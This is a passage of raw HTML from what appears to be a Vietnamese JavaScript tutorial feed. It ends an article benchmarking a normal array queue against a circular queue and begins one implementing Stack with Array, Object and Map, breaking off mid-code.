<strong>shift()</strong> nên kích thước của array không thay đổi. Vì vậy, để quản lý các phần tử trong Queue, mình cần thêm 3 biến là: <em>size</em>, <em>front</em> và <em>rear</em>.</p> <p>Trong đó:</p> <ul> <li><em>size</em>: số lượng phần tử trong Queue</li> <li><em>front</em>: là chỉ số của phần tử đầu tiên</li> <li><em>rear</em>: là chỉ số của phần tử cuối cùng</li> </ul> <p>Ngoài ra, để thể hiện <strong>tính vòng của Queue</strong> thì mình tận dụng chức năng của <strong>phép chia dư</strong>, cụ thể:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// enqueue</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">;</span> <span class="token comment">// dequeue</span> <span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">;</span></code></pre></div> <p><strong>Tại sao sử dụng như trên lại vòng được?</strong></p> <p>Để đơn giản, giả sử capacity = 10. Khi đó chỉ số của các phần tử trong mảng là: 0, 1, 2,...9. Nếu chỉ số đang là 9 thì cộng vượt lên 1 đơn vị sẽ thành 10. Mà ta có kết quả <code>10 % 10</code> bằng 0. Nên chỉ số mới sẽ là 0. Như vậy, ta luôn thu được chỉ số của các phần tử trong mảng là: 0, 1, 2,...9.</p> <p>Ngoài ra, cách trên có thể biểu diễn đơn giản nhưng dài dòng hơn là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// enqueue</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rear<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">>=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">)</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// dequeue</span> <span class="token keyword">this</span><span class="token punctuation">.</span>front<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">>=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">)</span> <span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></code></pre></div> <h2 id="so-sánh-hiệu-năng-2-cách-triển-khai-queue-trong-javascript" style="position:relative;"><a href="#so-s%C3%A1nh-hi%E1%BB%87u-n%C4%83ng-2-c%C3%A1ch-tri%E1%BB%83n-khai-queue-trong-javascript" aria-label="so sánh hiệu năng 2 cách triển khai queue trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh hiệu năng 2 cách triển khai Queue trong JavaScript</h2> <h3 id="kịch-bản-test" style="position:relative;"><a href="#k%E1%BB%8Bch-b%E1%BA%A3n-test" aria-label="kịch bản test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kịch bản test</h3> <p>Để test 2 cách triển khai Queue trong JavaScript với Queue thông thường và Queue vòng, mình viết một đoạn code như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> Capacity <span class="token operator">=</span> <span class="token number">5000000</span><span class="token punctuation">;</span> <span class="token keyword">const</span> TestCase <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// Test queue thông thường</span> <span class="token keyword">const</span> queue <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">AQueue</span><span class="token punctuation">(</span>Capacity<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * // Test queue vòng * const queue = new CQueue(Capacity); */</span> <span class="token keyword">const</span> start <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> tc <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> tc <span class="token operator">&lt;</span> TestCase<span class="token punctuation">;</span> tc<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> Capacity<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> queue<span class="token punctuation">.</span><span class="token function">enqueue</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> Capacity<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> queue<span class="token punctuation">.</span><span class="token function">dequeue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> end <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> duration <span class="token operator">=</span> <span class="token punctuation">(</span>end <span class="token operator">-</span> start<span class="token punctuation">)</span> <span class="token operator">/</span> TestCase<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Duration: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>duration<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> ms</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cách test hoàn toàn tương tự như khi test với Stack nên mình sẽ không giải thích gì thêm.</p> <h3 id="môi-trường-test" style="position:relative;"><a href="#m%C3%B4i-tr%C6%B0%E1%BB%9Dng-test" aria-label="môi trường test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Môi trường test</h3> <p>Lần này mình cũng test trên Console của Google Chrome. Bạn có thể mở Console này bằng cách nhấn tổ hợp phím (Ctrl + Shift + I) hoặc F12 giống như test với Stack.</p> <h3 id="kết-quả" style="position:relative;"><a href="#k%E1%BA%BFt-qu%E1%BA%A3" aria-label="kết quả permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết quả</h3> <p>Sau khi test xong mình thu được kết quả:</p> <ul> <li>Queue thông thường: <strong>~80 ms/testcase</strong></li> <li>Queue vòng: <strong>~120 ms/testcase</strong></li> </ul> <p>Kết quả có sự chênh lệnh chút ít. Tuy nhiên, theo mình thấy thì độ lệnh cũng không đáng kể. Vì rất có thể thời gian này còn phụ thuộc vào lúc đó, máy tính của bạn đang chạy mượt mà hay ì ạch nữa.</p> <p>Vì vậy, mình đánh giá 2 cách này có hiệu quả tương đương nhau. Tuy nhiên, về cách triển khai thì cách 1 sẽ đơn giản hơn - nhưng đây chỉ là đánh giá với JavaScript thôi nhé, vì JavaScript có hỗ trợ phương thức <strong>shift()</strong>.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là 2 cách triển khai Queue trong JavaScript với Array là: <strong>queue thường</strong> và <strong>queue vòng</strong>. Hy vọng qua bài viết này bạn hiểu được cấu trúc dữ liệu Queue, các phương thức cơ bản và ứng dụng của nó.</p> <p><em>Bình thường, bạn có hay sử dụng và triển khai Queue chưa? Nếu có, thì cách mà bạn triển khai Queue là như thế nào? Chia sẻ lại với mình và mọi người nhé!</em></p> <p>Xin cám ơn và hẹn gặp lại!</p>[email protected]<![CDATA[Triển khai Stack trong JavaScript với Array, Object hay Map]]><![CDATA[Ý tưởng của bài viết này xuất phát từ một bài viết trên Medium là DS — Stack implement in JS. Trong đó, tác giả bài viết đã triển khai Stack trong JavaScript với Object và khẳng…]]>https://completejavascript.com/trien-khai-stack-trong-javascript-voi-array-object-hay-map/https://completejavascript.com/trien-khai-stack-trong-javascript-voi-array-object-hay-map/<![CDATA[ES6]]><![CDATA[Map]]><![CDATA[Thuật toán]]><![CDATA[Object]]>Thu, 25 Jan 2018 22:30:40 GMT<p>Ý tưởng của bài viết này xuất phát từ một bài viết trên Medium là <a href="https://medium.com/@mayashavin/ds-stack-implement-in-js-c75ccc254e27">DS — Stack implement in JS</a>. Trong đó, tác giả bài viết đã triển khai Stack trong JavaScript với Object và khẳng định cách này nhanh hơn so với việc sử dụng Array.</p> <p>Mình thì không tin điều này lắm. Vì vậy, mình quyết định thử triển khai Stack với cả Array, Object và Map luôn. Sau đó, mình test thử xem liệu cách triển khai nào sẽ cho thời gian chạy là nhanh nhất.</p> <p>Trước khi bắt đầu bài viết mình muốn nhấn mạnh về mục đích của bài viết:</p> <ul> <li>Giúp bạn hiểu cơ bản về cấu trúc dữ liệu Stack.</li> <li>Biết cách triển khai Stack trong JavaScript với Array, Object và Map.</li> <li>So sánh tốc độ giữa 3 cách triển khai.</li> </ul> <p>Và những kiến thức cơ bản mà bạn cần phải nắm vững:</p> <ul> <li><a href="/array-la-gi-array-trong-javascript/">Array</a></li> <li><a href="/object-la-gi-object-trong-javascript/">Object</a></li> <li><a href="/map-trong-javascript-thi-sao/">Map</a></li> </ul> <p>Nếu bạn đã nắm vững kiến thức thì mình sẽ bắt đầu luôn nhé!</p> <h2 id="cơ-bản-về-stack" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-stack" aria-label="cơ bản về stack permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về Stack</h2> <h3 id="stack-là-gì" style="position:relative;"><a href="#stack-l%C3%A0-g%C3%AC" aria-label="stack là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Stack là gì?</h3> <p>Stack là một kiểu cấu trúc dữ liệu tuyến tính, tuân theo quy luật LIFO (Last In First Out) hay FILO (First In Last Out). Hay nói nôm na là "vào sau thì ra trước, mà vào trước thì ra sau".</p> <p>Ví dụ như khi bạn xếp sách thành một chồng. Rõ ràng, cuốn sách xếp trước sẽ ở dưới cùng, nên nó sẽ phải ra sau cùng. Và cuốn sách xếp cuối cùng thì ở trên cùng, nên nó sẽ được lấy ra đầu tiên.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 369px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 79.39393939393939%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABjUlEQVQoz42TSU/CQBiG+zcNahRk0T/hzQVUWvDixZMHQzAxEA8eNAKdAlGi7HuAgtCFIMjW2g5j2irRWCpfnkPTfs/M229aDKk1myn8W7IsI4QghDO1G2M7TDxG0bVKrVox9iVRSKdSuXSyXCpRFNVsvWLCdMyxTOgxD57LBqa2brHBJ4u0JE54nh8OR5gkw/NAwnkRjmWaapP+7lC9f/fC7PsygVhL68Jopl+oc9pjCI2QlTdVpCzdZ3tjReYHQjDeornRRJDQEiWIUjCcbfMDRUYIJcrdvcuUn6yfBvJOf/roKvMXlz/tvs757rO7Z7c3oKBNAZt9D6PBjVZd4bXFmA5DTyVWED8UU02BqaenXHP9qcNDbXujuux4o1acanAj5cxkiOayNoZOb2JyhhZtu+4Krxw8VNvv88n/ktm3qRUnbQTQxU4A80mkxgwXyhactBJAFxsBNg1kZpnYncWxbQRp9wBdHB5gcUfqBrHNbnILB7pYcbBxrBf766eRYas7NqDJj0UJ/vzaPgHngSb+Sn+KxAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Minh họa về Last In, First Out trong Stack" title="Minh họa về Last In, First Out trong Stack" src="/static/14314ef9b0faa2db9e7826ff405a7be5/d8ad8/Capture-7-1.png" srcset="/static/14314ef9b0faa2db9e7826ff405a7be5/103f2/Capture-7-1.png 165w, /static/14314ef9b0faa2db9e7826ff405a7be5/748ba/Capture-7-1.png 330w, /static/14314ef9b0faa2db9e7826ff405a7be5/d8ad8/Capture-7-1.png 369w" sizes="(max-width: 369px) 100vw, 369px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="ứng-dụng-stack-trong-lập-trình" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-stack-trong-l%E1%BA%ADp-tr%C3%ACnh" aria-label="ứng dụng stack trong lập trình permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng Stack trong lập trình</h3> <p>Stack là một cấu trúc dữ liệu cơ bản nhưng được áp dụng khá nhiều trong lập trình:</p> <ul> <li><a href="/trien-khai-thuat-toan-undo-redo-trong-javascript/">Triển khai thuật toán Undo-Redo</a> cho các ứng dụng (soạn thảo văn bản, chỉnh sửa ảnh, video,...)</li> <li><a href="https://yinyangit.wordpress.com/2011/01/26/algorithm-chuy%E1%BB%83n-bi%E1%BB%83u-th%E1%BB%A9c-trung-t%E1%BB%91-sang-ti%E1%BB%81n-t%E1%BB%91-va-h%E1%BA%ADu-t%E1%BB%91-b%E1%BA%B1ng-stack/">Chuyển biểu thức trung tố thành biểu thức hậu tố</a> cho việc tính toán giá trị biểu thức</li> <li>Tính năng tiến, lùi trang trên trình duyệt web</li> <li>Cấu trúc Call Stack trong một chương trình</li> <li>...</li> </ul> <h3 id="các-phép-toán-cơ-bản" style="position:relative;"><a href="#c%C3%A1c-ph%C3%A9p-to%C3%A1n-c%C6%A1-b%E1%BA%A3n" aria-label="các phép toán cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phép toán cơ bản</h3> <p>Một số phép toán cơ bản có thể làm trên Stack là:</p> <ul> <li><strong>Push</strong>: thêm một phần tử vào đỉnh Stack khi nó chưa <strong>Full</strong> (đầy). Nếu thành công thì trả về <strong>true</strong>, ngược lại trả về <strong>false</strong>.</li> <li><strong>Pop</strong>: lấy ra một phần tử ở đỉnh Stack khi nó không <strong>Empty</strong> (rỗng). Nếu thành công thì trả về <strong>giá trị của phần tử</strong> đó, ngược lại trả về <strong>undefined</strong>.</li> <li><strong>Peek</strong>: trả về giá trị phần tử ở đỉnh Stack khi nó không Empty (phần tử đó <strong>vẫn tồn tại</strong> trong Stack).</li> <li><strong>IsEmpty</strong>: kiểm tra xem Stack có rỗng hay không. Nếu đúng trả về <strong>true</strong>, ngược lại trả về <strong>false</strong>.</li> <li><strong>IsFull</strong>: kiểm tra xem Stack có đầy hay chưa. Nếu Stack đầy thì trả về <strong>true</strong>, ngược lại trả về <strong>false</strong>.</li> <li><strong>Clear</strong>: xoá <strong>hết tất cả các phần tử</strong> khỏi Stack.</li> </ul> <h2 id="triển-khai-stack-trong-javascript" style="position:relative;"><a href="#tri%E1%BB%83n-khai-stack-trong-javascript" aria-label="triển khai stack trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Stack trong JavaScript</h2> <h3 id="triển-khai-stack-trong-javascript-với-array" style="position:relative;"><a href="#tri%E1%BB%83n-khai-stack-trong-javascript-v%E1%BB%9Bi-array" aria-label="triển khai stack trong javascript với array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Stack trong JavaScript với Array</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">AStack</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">capability</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capability <span class="token operator">=</span> capability<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capability<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">push</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">peek</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="triển-khai-stack-trong-javascript-với-object" style="position:relative;"><a href="#tri%E1%BB%83n-khai-stack-trong-javascript-v%E1%BB%9Bi-object" aria-label="triển khai stack trong javascript với object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Stack trong JavaScript với Object</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">OStack</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">capability</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capability <span class="token operator">=</span> capability<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capability<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">push</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token 